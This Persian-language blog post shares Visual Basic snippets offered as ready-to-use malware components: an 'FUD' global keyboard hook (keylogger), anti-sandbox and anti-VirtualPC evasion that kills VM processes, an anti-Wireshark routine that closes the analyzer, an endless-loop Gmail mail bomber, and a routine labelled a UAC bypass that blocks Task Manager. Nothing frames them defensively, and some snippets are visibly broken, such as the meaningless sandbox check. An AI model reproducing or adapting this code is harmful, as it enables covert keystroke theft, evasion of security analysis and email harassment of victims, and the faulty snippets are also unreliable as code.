چند سورس کد جادویی و بینظیر ویژوال بیسیک
چند سورس کد جادویی و بینظیر ویژوال بیسیک
Anti-Sandboxie
sub Antisandboxie
on error resume next
If me.text.contains = "#" then
me.close
else
me.show
end if
end sub
Anti VirtualPC:Sub Anti VirtualPC()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "vpcmap" & "vmsrvc"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
[Source] Keyboard Hook [FUD]
Public Class Keyboard
Private Delegate Function DelegateKey(ByVal
nCode As Integer, ByVal wParam
As Integer, ByRef
lParam As KeyStructure) As Integer
Private Declare Function
SetEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As DelegateKey, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
Private Declare Function NextEx Lib "user32" Alias "CallNextHookEx" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KeyStructure) As Integer
Private Declare Function UnEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
Public Shared Event Down(ByVal Key As String, ByVal e As Keys) : Public Shared Event Up(ByVal Key As String, ByVal e As Keys)
Private Shared Key As Integer : Private Shared KHD As DelegateKey
Private Structure KeyStructure : Public
Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
Public Sub CreateHook()
KHD = New DelegateKey(AddressOf Proc)
Key = SetEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.
Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
If (Code = 0) Then
Select Case wParam
Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)),
CType(lParam.Code, Keys))
Case &H101, &H105 : RaiseEvent
Up(Feed(CType(lParam.Code, Keys)), CType(lParam.Code, Keys))
End Select
End If
Return NextEx(Key, Code, wParam, lParam)
End Function
Public Sub DiposeHook()
UnEx(Key) : MyBase.Finalize()
End Sub
Private Function Feed(ByVal e As Keys) As String
Select Case e
Case 20 : If Control.IsKeyLocked(Keys.CapsLock) Then : Return "" : Else _
: Return "" : End If
Case 65 To 90 : If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 _
Then : Return e.ToString : Else : Return e.ToString.ToLower : End If
Case 48 To 57 : If (Control.ModifierKeys And Keys.Shift) <> 0 Then : Select Case e.ToString
Case "D1" : Return "!" : Case "D2" : Return "@" : Case "D3" : Return "#"
Case "D4" : Return "$" : Case "D5" : Return "%" : Case "D6" : Return "^"
Case "D7" : Return "&" : Case "D8" : Return "*" : Case "D9" : Return "("
Case "D0" : Return ")" : End Select : Else : Return e.ToString.Replace("D", Nothing) : End If
Case 96 To 105 : Return e.ToString.Replace("NumPad", Nothing)
Case 106 To 111
Select Case e.ToString
Case "Divide" : Return "/" : Case "Multiply" : Return "*"
Case "Subtract" : Return "-" : Case "Add" : Return "+"
Case "Decimal" : Return "." : End Select
Case 32 : Return " "
Case 186 To 222 : If (Control.ModifierKeys And Keys.Shift) <> 0 Then : Select Case e.ToString
Case "OemMinus" : Return "_" : Case "Oemplus" : Return "+"
Case "OemOpenBrackets" : Return "{" : Case "Oem6" : Return "}"
Case "Oem5" : Return "|" : Case "Oem1" : Return ":"
Case "Oem7" : Return """" : Case "Oemcomma" : Return "<"
Case "OemPeriod" : Return ">" : Case "OemQuestion" : Return "?"
Case "Oemtilde" : Return "~"
End Select : Else : Select Case e.ToString
Case "OemMinus" : Return "-" : Case "Oemplus" : Return "="
Case "OemOpenBrackets" : Return "[" : Case "Oem6" : Return "]"
Case "Oem5" : Return "\" : Case "Oem1" : Return ";"
Case "Oem7"
: Return "'" : Case "Oemcomma" : Return ","
Case "OemPeriod" : Return "." :
Case "OemQuestion" : Return "/"
Case "Oemtilde" : Return "`"
End Select
End If
Case Keys.Return : Return Environment
.NewLine : Case Else
: Return "<" + e.ToString + ">"
End Select
Return Nothing
End Function
End Class
Simple mail bomber
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As Object, ByVal e
As System.EventArgs) Handles Me.Load
End Sub
Private Sub button1_Click(ByVal sender As System.Object, _ByVal e As System.EventArgs)
_Handles Button1.Click
Call emails()
End Sub
Private Sub button2_Click(ByVal sender As System.Object, _ByVal e As System.EventArgs) _Handles Button2.Click
Application.Exit()
End Sub
Private Function emails()
Dim targets As String
targets = InputBox("insert
targets please seperate each by a "",")
Dim subjectline As String
subjectline = InputBox("insert the subject
line you wish the email to have")
Dim messagebody As String
messagebody = InputBox("insert the message body
you wish the email to have")
Dim Message As System.Net.Mail.MailMessage
Dim Smtp As New System.Net.Mail
.SmtpClient("smtp.gmail.com", 587)
Do While 1 = 1
'Message Details
Message = New System.Net.
Mail.MailMessage("*YOUR
GMAIL ACCOUNT", targets,
subjectline, messagebody)
'Enables SS1 Encryption.
Smtp.EnableSsl = True
'Sets username and
password for account
Smtp.Credentials = New System.Net.NetworkCredenti
al("YOUR GMAIL ACCOUNT",
"YOUR GMAIL ACCOUNT PASSWORD")
Smtp.Send(Message)
Loop
End Function
End Class
Anti Wireshark vb6
Programm : Anti Wireshark
' Author : Inmate
' realease : 21.08.09
' Used for : Close Wirehark
' Tested On : Windows 7 x64'---------------------------------------------------------------------------------------
Private Declare Function
PostMessage Lib "user32" Alias "PostMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Form_Load()
Dim WireHandle As String, WireClose As String
WireHandle = FindWindow(vbNullString, _
"The Wireshark Network Analyzer")
WireClose = PostMessage _
(WireHandle, &H10, 0&, 0&)
End Sub
[Source] Disable TaskManager (UAC Bypass)
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim x As New Threading.Thread(AddressOf Disable)
x.Start()
End Sub
Private Sub Disable()
Dim ID = Shell("taskmgr.exe", 0)
While True
Process.GetProcessById(ID).WaitForExit()
Threading.Thread.Sleep(50)
ID = Shell("taskmgr.exe", 0)
End While
End
+ نوشته شده در ۱۳۹۲/۱۰/۲۶ ساعت توسط امــــــــــیر فروهر
|